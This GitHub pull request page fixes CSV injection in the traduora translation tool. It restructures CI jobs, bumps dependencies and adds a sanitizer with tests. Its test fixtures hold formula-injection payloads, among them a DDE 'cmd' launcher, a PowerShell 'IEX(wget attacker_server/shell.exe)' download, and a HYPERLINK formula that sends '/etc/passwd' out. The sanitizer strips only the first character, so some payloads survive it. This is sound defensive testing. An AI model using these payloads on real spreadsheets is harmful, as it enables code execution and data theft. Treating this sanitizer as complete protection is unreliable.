Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix/#CSV Injection Vulnerability Fixes #289

Merged
merged 29 commits into from
Jan 29, 2022
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
29 commits
Select commit Hold shift + click to select a range
7e584af
fixed the csv injection vulnerability
bvenceslas Jan 26, 2022
1cd211b
fix: remove default password
rahul-rocket Jan 26, 2022
6339585
refactored the logic
bvenceslas Jan 26, 2022
72690eb
Merge branch 'fix-csv-injection' of https:/ever-co/ever-t…
bvenceslas Jan 26, 2022
b3389ca
added some risky characters to escape
bvenceslas Jan 26, 2022
5b31627
removed the console.log
bvenceslas Jan 26, 2022
1fc234a
fix the deepscan warning
bvenceslas Jan 26, 2022
c8e8e4f
fix: api/package.json & api/yarn.lock to reduce vulnerabilities
snyk-bot Jan 27, 2022
afa435c
Merge pull request #290 from ever-co/snyk-fix-9bd8a479e4c093979d367a9…
evereq Jan 27, 2022
2b24247
build(deps): bump node-fetch from 2.6.2 to 2.6.7 in /api
dependabot[bot] Jan 27, 2022
52f8d67
Merge pull request #291 from ever-co/dependabot/npm_and_yarn/api/node…
evereq Jan 27, 2022
3103851
fixed conflicts from package.json
bvenceslas Jan 26, 2022
b99bcdc
refactored the logic
bvenceslas Jan 26, 2022
f587cfd
fixed conflict
bvenceslas Jan 26, 2022
efa607d
removed the console.log
bvenceslas Jan 26, 2022
5ed4dd6
fixed conflicts
bvenceslas Jan 27, 2022
975b9fb
added some comments on the refactored code
bvenceslas Jan 27, 2022
587bd6a
added test for the cleaning risky characters
bvenceslas Jan 27, 2022
8f91128
fix: increased default jest timeout
rahul-rocket Jan 28, 2022
5403508
fix: deepscan & increased jest timeout
rahul-rocket Jan 28, 2022
a0b99c0
fix: formatting with prettier
evereq Jan 28, 2022
4d0e0ea
fix: csv injection matching with first character of csv cell
rahul-rocket Jan 29, 2022
682e24f
fix: formatting using Prettier
rahul-rocket Jan 29, 2022
5eb53f0
fix: deepscan
rahul-rocket Jan 29, 2022
3fa3a10
feat: split unit and e2e tests as separate jobs
evereq Jan 29, 2022
a7169e0
fix: ops
evereq Jan 29, 2022
6b19757
feat: update Circle to use Orbs
evereq Jan 29, 2022
8b71dc7
fix: run tests in feature branches too
evereq Jan 29, 2022
452b9c6
fix: scripts permissions
evereq Jan 29, 2022
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
118 changes: 110 additions & 8 deletions .circleci/config.yml
Original file line number Diff line number Diff line change
@@ -1,16 +1,88 @@
version: 2
version: 2.1

orbs:
node: circleci/[email protected]

jobs:
test:
check_lint:
working_directory: ~/workspace
docker:
- image: 'cimg/base:stable'
steps:
- checkout
- node/install:
install-yarn: true
node-version: '16.13'
- run: node --version
- restore_cache:
keys:
- api-deps-{{ checksum "api/yarn.lock" }}
- webapp-deps-{{ checksum "webapp/yarn.lock" }}
- run:
name: Install deps
command: bin/install-deps.sh
- save_cache:
paths:
- ~/workspace/api/node_modules
key: api-deps-{{ checksum "api/yarn.lock" }}
- save_cache:
paths:
- ~/workspace/webapp/node_modules
key: webapp-deps-{{ checksum "webapp/yarn.lock" }}
- run:
name: Run Lint checks
command: bin/check_lint.sh

test_unit:
working_directory: ~/workspace
docker:
- image: 'cimg/base:stable'
- image: mysql:5.7
environment:
MYSQL_ALLOW_EMPTY_PASSWORD: "yes"
MYSQL_DATABASE: "tr_e2e"
steps:
- checkout
- node/install:
install-yarn: true
node-version: '16.13'
- run: node --version
- restore_cache:
keys:
- api-deps-{{ checksum "api/yarn.lock" }}
- webapp-deps-{{ checksum "webapp/yarn.lock" }}
- run:
name: Install deps
command: bin/install-deps.sh
- save_cache:
paths:
- ~/workspace/api/node_modules
key: api-deps-{{ checksum "api/yarn.lock" }}
- save_cache:
paths:
- ~/workspace/webapp/node_modules
key: webapp-deps-{{ checksum "webapp/yarn.lock" }}
- run:
name: Wait for DB
command: dockerize -wait tcp://127.0.0.1:3306 -timeout 120s
- run:
name: Run tests and checks
command: bin/test_unit.sh

test_e2e:
working_directory: ~/workspace
docker:
- image: circleci/node:14.16
- image: 'cimg/base:stable'
- image: mysql:5.7
environment:
MYSQL_ALLOW_EMPTY_PASSWORD: "yes"
MYSQL_DATABASE: "tr_e2e"
steps:
- checkout
- node/install:
install-yarn: true
node-version: '16.13'
- run: node --version
- restore_cache:
keys:
- api-deps-{{ checksum "api/yarn.lock" }}
Expand All @@ -31,13 +103,17 @@ jobs:
command: dockerize -wait tcp://127.0.0.1:3306 -timeout 120s
- run:
name: Run tests and checks
command: bin/check.sh
command: bin/test_e2e.sh

build:
docker:
- image: circleci/node:14.16
- image: 'cimg/base:stable'
steps:
- checkout
- node/install:
install-yarn: true
node-version: '16.13'
- run: node --version
- setup_remote_docker
- run:
name: Build
Expand All @@ -46,12 +122,36 @@ jobs:

workflows:
version: 2

test:
jobs:
- test
- check_lint
- test_unit:
requires:
- check_lint
- test_e2e:
requires:
- check_lint

release:
jobs:
- test:
- check_lint:
filters:
branches:
ignore: /.*/
tags:
only: /^([0-9.]+)$/
- test_unit:
requires:
- check_lint
filters:
branches:
ignore: /.*/
tags:
only: /^([0-9.]+)$/
- test_e2e:
requires:
- check_lint
filters:
branches:
ignore: /.*/
Expand All @@ -60,7 +160,9 @@ workflows:
- build:
context: traduora
requires:
- test
- check_lint
- test_unit
- test_e2e
filters:
branches:
ignore: /.*/
Expand Down
7 changes: 4 additions & 3 deletions api/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -61,7 +61,7 @@
"reflect-metadata": "^0.1.13",
"rxjs": "^7.3.0",
"strings-file": "^0.0.5",
"swagger-ui-express": "^4.1.6",
"swagger-ui-express": "^4.2.0",
"typeorm": "^0.2.37",
bvenceslas marked this conversation as resolved.
Show resolved Hide resolved
"xliff": "^5.6.2",
"xml-js": "^1.6.11"
Expand Down Expand Up @@ -92,10 +92,10 @@
"ts-node": "^10.2.1",
"tsconfig-paths": "^3.11.0",
"tslint": "^6.1.3",
"typescript": "4.2.3",
"webpack": "^5.37.0",
"webpack-cli": "^4.7.0",
"webpack-node-externals": "^1.7.2",
"typescript": "4.2.3"
"webpack-node-externals": "^1.7.2"
},
"jest": {
"moduleFileExtensions": [
Expand All @@ -105,6 +105,7 @@
],
"rootDir": "src",
"testRegex": ".spec.ts$",
"testTimeout": 30000,
"transform": {
"^.+\\.(t|j)s$": "ts-jest"
},
Expand Down
8 changes: 7 additions & 1 deletion api/src/formatters/csv.spec.ts
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
import { csvExporter, csvParser } from './csv';
import { loadFixture, simpleFormatFixture } from './fixtures';
import { loadFixture, riskyPayloads, simpleFormatFixture } from './fixtures';

test('should parse csv files', async () => {
const input = loadFixture('simple.csv');
Expand Down Expand Up @@ -28,3 +28,9 @@ test('should export csv files', async () => {
const expected = loadFixture('simple.csv');
expect(result).toEqual(expected);
});

test('should remove risky characters from risky payloads and export csv files', async () => {
const result = await csvExporter(riskyPayloads);
const expected = loadFixture('cleaned.csv');
expect(result).toEqual(expected);
});
36 changes: 34 additions & 2 deletions api/src/formatters/csv.ts
Original file line number Diff line number Diff line change
@@ -1,6 +1,12 @@
// Copyright (c) 2021-2022 Ever Co. LTD
// Modified code from https:/destromas1/csv-injection-protector
// Originally MIT Licensed
// - see https:/destromas1/csv-injection-protector/blob/master/LICENSE
// - original code `Copyright (c) 2019 Shahjada Talukdar`;

import * as parse from 'csv-parse';
import * as stringify from 'csv-stringify';
import { Exporter, IntermediateTranslationFormat, Parser } from '../domain/formatters';
import { Exporter, IntermediateTranslation, IntermediateTranslationFormat, Parser } from '../domain/formatters';

const streamAsPromise = stream => {
const result = [];
Expand Down Expand Up @@ -29,9 +35,35 @@ export const csvParser: Parser = async (data: string) => {
};
};

/**
* CSV Injection – A Guide To Protecting Your CSV Files
*
* @param str
* @returns
*/
const csvInjectionProtector = (str: string) => {
const riskyChars = ['=', '+', '-', '@', ',', ';', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0x0d', '/C', '.exe', '\\', '/', '.dll'];
if (!str) return '';

/**
* Check first character of string
*/
if (riskyChars.includes(str.charAt(0))) {
return str.replace(str.charAt(0), '');
}
return str;
};

export const csvExporter: Exporter = async (data: IntermediateTranslationFormat) => {
const clearedTranslations = data.translations.map((trans: IntermediateTranslation) => {
return {
term: csvInjectionProtector(trans.term),
translation: csvInjectionProtector(trans.translation),
};
});

const rows = await streamAsPromise(
stringify(data.translations, {
stringify(clearedTranslations, {
header: false,
}),
);
Expand Down
6 changes: 6 additions & 0 deletions api/src/formatters/fixtures/cleaned.csv
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
DDE ("cmd"" calc";"!A")A0,first
SUM()*cmd|' calc'!A,second
0+cmd|' calc'!A0,third
cmd|' notepad'!'A',fourth
cmd|' powershell IEX(wget attacker_servershell)'!A,fifth
HYPERLINK(CONCATENATE("http:/.0.0.0:0/.txt?v=" ('file:///etc/passwd'#$passwd.A1)); "testpoc"),sixth
29 changes: 29 additions & 0 deletions api/src/formatters/fixtures/index.ts
Original file line number Diff line number Diff line change
Expand Up @@ -25,3 +25,32 @@ export const simpleFormatFixture: IntermediateTranslationFormat = {
},
],
};

export const riskyPayloads: IntermediateTranslationFormat = {
translations: [
{
term: 'DDE ("cmd";"/C calc";"!A0")A0',
translation: 'first',
},
{
term: `@SUM(1+9)*cmd|' /C calc'!A0`,
translation: `second`,
},
{
term: `=10+20+cmd|' /C calc'!A0`,
translation: `third`,
},
{
term: `=cmd|' /C notepad'!'A1'`,
translation: `fourth`,
},
{
term: `=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0`,
translation: `fifth`,
},
{
term: `=HYPERLINK(CONCATENATE("http://0.0.0.0:80/123.txt?v="; ('file:///etc/passwd'#$passwd.A1));"test-poc")`,
translation: `sixth`,
},
],
};
2 changes: 1 addition & 1 deletion api/src/formatters/fixtures/simple.csv
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
term.one,Current Plan: {{ project.plan.name }}
term two,"{VAR_PLURAL, plural, =0 {locales} =1 {locale} other {locales} }"
TERM_THREE,Export format...
term:four,hello there you\nthis should be in a newline
term:four,hello there you\nthis should be in a newline
15 changes: 8 additions & 7 deletions api/test/jest-e2e.json
Original file line number Diff line number Diff line change
@@ -1,9 +1,10 @@
{
"moduleFileExtensions": ["js", "json", "ts"],
"rootDir": ".",
"testEnvironment": "node",
"testRegex": ".e2e-spec.ts$",
"transform": {
"^.+\\.(t|j)s$": "ts-jest"
}
"moduleFileExtensions": ["js", "json", "ts"],
"rootDir": ".",
"testEnvironment": "node",
"testTimeout": 30000,
"testRegex": ".e2e-spec.ts$",
"transform": {
"^.+\\.(t|j)s$": "ts-jest"
}
}
Loading